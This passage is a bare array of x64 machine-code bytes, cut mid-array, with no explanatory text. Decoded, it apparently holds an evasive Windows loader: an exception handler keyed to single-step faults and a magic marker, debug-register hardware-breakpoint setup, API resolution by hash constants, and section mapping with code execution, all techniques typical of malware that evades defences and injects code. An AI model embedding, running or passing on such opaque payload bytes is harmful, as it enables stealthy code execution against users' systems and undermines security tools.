x00,0xFF,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xD8,0x00,0x74,0x40,0x48,0x8B,0x45,0xD8,0x41,0xB8,0x10,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDF,0xBD,0x00,0x00,0x48,0x8B,0x05,0x50,0x4F,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x48,0x4F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x8B,0x45,0x20,0xBA,0x01,0x00,0x00,0x00,0x89,0xC1,0xD3,0xE2,0x89,0xD0,0x83,0xE8,0x01,0x89,0xC0,0x48,0x89,0x45,0xF8,0x8B,0x45,0x18,0x48,0x8B,0x55,0xF8,0x89,0xC1,0x48,0xD3,0xE2,0x48,0x89,0xD0,0x48,0xF7,0xD0,0x48,0x23,0x45,0x10,0x48,0x89,0xC2,0x8B,0x45,0x18,0x4C,0x8B,0x45,0x28,0x89,0xC1,0x49,0xD3,0xE0,0x4C,0x89,0xC0,0x48,0x09,0xD0,0x48,0x89,0x45,0x10,0x48,0x8B,0x45,0x10,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x83,0x7D,0x18,0x03,0x74,0x4A,0x83,0x7D,0x18,0x03,0x7F,0x51,0x83,0x7D,0x18,0x02,0x74,0x30,0x83,0x7D,0x18,0x02,0x7F,0x45,0x83,0x7D,0x18,0x00,0x74,0x08,0x83,0x7D,0x18,0x01,0x74,0x10,0xEB,0x37,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x48,0x00,0x00,0x00,0x00,0xEB,0x29,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x50,0x00,0x00,0x00,0x00,0xEB,0x1B,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x58,0x00,0x00,0x00,0x00,0xEB,0x0D,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x60,0x00,0x00,0x00,0x00,0x90,0x8B,0x45,0x18,0x8D,0x14,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x70,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0B,0xFF,0xFF,0xFF,0x48,0x8B,0x55,0x10,0x48,0x89,0x42,0x70,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x68,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x40,0x44,0x00,0x00,0x00,0x00,0x90,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x83,0x7D,0x20,0x03,0x74,0x4A,0x83,0x7D,0x20,0x03,0x7F,0x51,0x83,0x7D,0x20,0x02,0x74,0x30,0x83,0x7D,0x20,0x02,0x7F,0x45,0x83,0x7D,0x20,0x00,0x74,0x08,0x83,0x7D,0x20,0x01,0x74,0x10,0xEB,0x37,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x48,0xEB,0x29,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x50,0xEB,0x1B,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x58,0xEB,0x0D,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x60,0x90,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x70,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x10,0x00,0x00,0x00,0xBA,0x10,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x53,0xFE,0xFF,0xFF,0x48,0x8B,0x55,0x10,0x48,0x89,0x42,0x70,0x8B,0x45,0x20,0x8D,0x14,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x70,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x29,0xFE,0xFF,0xFF,0x48,0x8B,0x55,0x10,0x48,0x89,0x42,0x70,0x48,0x8B,0x45,0x10,0x48,0xC7,0x40,0x68,0x00,0x00,0x00,0x00,0x90,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x48,0x8B,0x01,0x8B,0x00,0x3D,0x04,0x00,0x00,0x80,0x75,0x5A,0x48,0x89,0xC8,0x48,0x8B,0x48,0x08,0x48,0x8B,0x41,0x78,0x4C,0x8B,0x99,0x98,0x00,0x00,0x00,0x49,0xB9,0xBE,0xBA,0xFE,0xCA,0xEF,0xBE,0xAD,0xDE,0x49,0x83,0xC3,0x08,0x4D,0x39,0x0B,0x75,0xF7,0x4D,0x8B,0x5B,0x08,0x49,0x8B,0x0B,0x49,0x8B,0x53,0x08,0x4D,0x8B,0x4B,0x10,0x49,0x8B,0x5B,0x18,0x49,0x8B,0x6B,0x20,0x49,0x8B,0x63,0x28,0x4D,0x8B,0x43,0x30,0x4D,0x31,0xDB,0x46,0x8A,0x14,0x1A,0x47,0x88,0x14,0x19,0x49,0xFF,0xC3,0x49,0x39,0xCB,0x75,0xF0,0x41,0xFF,0xE0,0xB8,0xFF,0xFF,0xFF,0xFF,0xC3,0x90,0x0F,0x0B,0x55,0x57,0x48,0x81,0xEC,0x18,0x05,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xB0,0x04,0x00,0x00,0x48,0x89,0x95,0xB8,0x04,0x00,0x00,0xC7,0x85,0x8C,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x88,0x04,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x85,0x80,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x9A,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x45,0xA0,0x41,0xB8,0xD0,0x04,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD6,0xBA,0x00,0x00,0xC7,0x45,0xD0,0x1F,0x00,0x10,0x00,0x48,0xC7,0x85,0x78,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x28,0xDB,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD5,0x2F,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x1D,0xB1,0x9D,0xA7,0x48,0x89,0xC1,0xE8,0xE3,0x2D,0x00,0x00,0x48,0x89,0x85,0x78,0x04,0x00,0x00,0x48,0x83,0xBD,0x78,0x04,0x00,0x00,0x00,0x0F,0x84,0xA0,0x00,0x00,0x00,0x48,0x8B,0x85,0x78,0x04,0x00,0x00,0x48,0x8D,0x15,0xCC,0xFE,0xFF,0xFF,0xB9,0x01,0x00,0x00,0x00,0xFF,0xD0,0x48,0x89,0x85,0x80,0x04,0x00,0x00,0x48,0x83,0xBD,0x80,0x04,0x00,0x00,0x00,0x74,0x7D,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0x12,0x79,0x00,0x00,0x89,0x85,0x88,0x04,0x00,0x00,0x83,0xBD,0x88,0x04,0x00,0x00,0x00,0x78,0x5E,0x48,0x8B,0x95,0xB0,0x04,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA2,0xFD,0xFF,0xFF,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0x31,0x79,0x00,0x00,0x89,0x85,0x88,0x04,0x00,0x00,0x83,0xBD,0x88,0x04,0x00,0x00,0x00,0x78,0x26,0x48,0x8B,0x85,0xB8,0x04,0x00,0x00,0x48,0x8B,0x95,0x80,0x04,0x00,0x00,0x48,0x89,0x10,0xC7,0x85,0x8C,0x04,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x85,0x8C,0x04,0x00,0x00,0x48,0x81,0xC4,0x18,0x05,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0x08,0x05,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xA0,0x04,0x00,0x00,0xC7,0x85,0x7C,0x04,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x9A,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x45,0xA0,0x41,0xB8,0xD0,0x04,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x81,0xB9,0x00,0x00,0xC7,0x45,0xD0,0x1F,0x00,0x10,0x00,0xC7,0x85,0x78,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x70,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xC9,0xD9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x76,0x2E,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xA3,0x0E,0x38,0x24,0x48,0x89,0xC1,0xE8,0x84,0x2C,0x00,0x00,0x48,0x89,0x85,0x70,0x04,0x00,0x00,0x48,0x83,0xBD,0x70,0x04,0x00,0x00,0x00,0x74,0x77,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0xDD,0x77,0x00,0x00,0x89,0x85,0x7C,0x04,0x00,0x00,0x83,0xBD,0x7C,0x04,0x00,0x00,0x00,0x78,0x58,0x48,0x8D,0x45,0xA0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC1,0xFB,0xFF,0xFF,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0x04,0x78,0x00,0x00,0x89,0x85,0x7C,0x04,0x00,0x00,0x83,0xBD,0x7C,0x04,0x00,0x00,0x00,0x78,0x28,0x48,0x8B,0x85,0xA0,0x04,0x00,0x00,0x48,0x8B,0x95,0x70,0x04,0x00,0x00,0x48,0x89,0xC1,0xFF,0xD2,0x89,0x85,0x78,0x04,0x00,0x00,0x83,0xBD,0x78,0x04,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x90,0x48,0x81,0xC4,0x08,0x05,0x00,0x00,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0x83,0x7D,0x10,0x00,0x74,0x15,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x83,0x75,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x09,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0x0F,0x11,0x45,0xC0,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0xE6,0x00,0x00,0x00,0x48,0x8D,0x05,0x81,0xD8,0x00,0x00,0x48,0x89,0x45,0xE8,0x66,0xC7,0x45,0xE0,0xA0,0x00,0x66,0xC7,0x45,0xE2,0xA2,0x00,0xC7,0x45,0xA0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0x45,0xB0,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xA0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x01,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x3F,0x00,0x0F,0x00,0x48,0x89,0xC1,0xE8,0xCA,0x71,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x63,0x48,0x8D,0x05,0x9D,0xD8,0x00,0x00,0x48,0x89,0x45,0xD8,0x66,0xC7,0x45,0xD0,0x10,0x00,0x66,0xC7,0x45,0xD2,0x12,0x00,0xC7,0x45,0x9C,0x02,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x00,0x48,0x8D,0x55,0xD0,0xC7,0x44,0x24,0x28,0x04,0x00,0x00,0x00,0x48,0x8D,0x4D,0x9C,0x48,0x89,0x4C,0x24,0x20,0x41,0xB9,0x04,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCD,0x71,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x0F,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xB0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x02,0xD8,0x00,0x00,0x48,0x89,0x45,0xB8,0x66,0xC7,0x45,0xB0,0x46,0x00,0x66,0xC7,0x45,0xB2,0x48,0x00,0x48,0x8D,0x45,0xB0,0x48,0x89,0x45,0xD0,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x01,0x00,0x10,0x00,0x48,0x89,0xC1,0xE8,0x15,0x72,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x29,0x48,0x8B,0x45,0xF0,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x11,0x6B,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x6F,0x66,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xC4,0x80,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x6E,0xD7,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFB,0x2A,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xFE,0xF2,0xC3,0x6C,0x48,0x89,0xC1,0xE8,0x09,0x29,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x56,0x48,0xB8,0x75,0x08,0xBC,0xA3,0x3A,0x0B,0x94,0x41,0x48,0x89,0x45,0xE0,0x48,0x8D,0x45,0xE0,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCB,0x70,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x0F,0x89,0xA6,0x00,0x00,0x00,0xE9,0xAE,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xE6,0xD6,0x00,0x00,0x48,0x89,0xC1,0xE8,0x73,0x2A,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x99,0xF8,0x0F,0x98,0x48,0x89,0xC1,0xE8,0x81,0x28,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x74,0x78,0xC7,0x45,0xD0,0xD8,0xEA,0x6E,0xE4,0x66,0xC7,0x45,0xD4,0x54,0x0C,0x66,0xC7,0x45,0xD6,0x89,0x44,0x48,0xB8,0x98,0x98,0x8F,0xA7,0x9D,0x05,0x9E,0x0E,0x48,0x89,0x45,0xD8,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xC0,0x41,0xB8,0x10,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE8,0xB4,0x00,0x00,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xD0,0x4C,0x8B,0x55,0xE8,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xEC,0x80,0x5D,0xC3,0x55,0x48,0x81,0xEC,0x20,0x01,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xB0,0x00,0x00,0x00,0x48,0x89,0x95,0xB8,0x00,0x00,0x00,0xC7,0x85,0x9C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x98,0x00,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x85,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x88,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x78,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x40,0x0F,0x11,0x45,0x50,0x0F,0x11,0x45,0x60,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xF0,0x0F,0x11,0x45,0x00,0x0F,0x11,0x45,0x10,0x0F,0x11,0x45,0x20,0x66,0x0F,0xD6,0x45,0x30,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xE8,0x15,0xFE,0xFF,0xFF,0x89,0x85,0x98,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x0F,0x88,0x85,0x01,0x00,0x00,0xE8,0x0E,0xFD,0xFF,0xFF,0x89,0x85,0x98,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x0F,0x88,0x70,0x01,0x00,0x00,0x48,0x8D,0x05,0x9B,0xD5,0x00,0x00,0x48,0x89,0x85,0x88,0x00,0x00,0x00,0x66,0xC7,0x85,0x80,0x00,0x00,0x00,0x42,0x00,0x66,0xC7,0x85,0x82,0x00,0x00,0x00,0x44,0x00,0xC7,0x45,0x40,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0x48,0x00,0x00,0x00,0x00,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x68,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xF0,0x41,0xB8,0x48,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x95,0xB3,0x00,0x00,0x48,0xC7,0x45,0x00,0x78,0x05,0x00,0x00,0x4C,0x8D,0x45,0xF0,0x48,0x8D,0x4D,0x40,0x48,0x8D,0x95,0x80,0x00,0x00,0x00,0x48,0x8D,0x45,0x78,0x48,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x02,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x36,0x6F,0x00,0x00,0x89,0x85,0x98,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x0F,0x88,0x94,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x78,0x05,0x00,0x00,0x48,0x8B,0x45,0x78,0x48,0x8B,0x8D,0xB0,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xE8,0x48,0x89,0x54,0x24,0x28,0x48,0x8B,0x95,0xB8,0x00,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0xBA,0x00,0x00,0x02,0x00,0x48,0x89,0xC1,0xE8,0x2A,0x6F,0x00,0x00,0x89,0x85,0x98,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x78,0x38,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x78,0x32,0x81,0xBD,0x98,0x00,0x00,0x00,0x02,0x01,0x00,0x00,0x74,0x26,0x48,0x8B,0x85,0xB8,0x00,0x00,0x00,0x8B,0x40,0x2C,0x85,0xC0,0x78,0x1B,0xC7,0x85,0x9C,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0x78,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0x78,0x48,0x89,0xC1,0xE8,0xBE,0x62,0x00,0x00,0x8B,0x85,0x9C,0x00,0x00,0x00,0x48,0x81,0xC4,0x20,0x01,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x04,0x00,0x00,0x89,0xC1,0xE8,0xA7,0x35,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x5B,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x4D,0xE8,0x48,0x89,0x4C,0x24,0x28,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x08,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF7,0x71,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x28,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0xFC,0x1E,0x00,0x00,0x48,0x8B,0x55,0x18,0x89,0x02,0x48,0x8B,0x45,0x18,0x8B,0x00,0x85,0xC0,0x74,0x0F,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xDD,0x61,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0xC8,0x61,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xF8,0x0C,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x89,0x8D,0x90,0x0C,0x00,0x00,0x48,0x89,0x95,0x98,0x0C,0x00,0x00,0xC7,0x85,0x6C,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x5C,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x58,0x0C,0x00,0x00,0x01,0x00,0x00,0xC0,0xC7,0x85,0x4C,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x40,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x50,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x30,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x28,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x20,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x18,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x10,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0xE0,0x0B,0x00,0x00,0x0F,0x11,0x85,0xF0,0x0B,0x00,0x00,0x0F,0x11,0x85,0x00,0x0C,0x00,0x00,0x48,0xC7,0x85,0xD0,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xD8,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xC8,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x60,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0x30,0x0B,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x13,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x85,0x20,0x0B,0x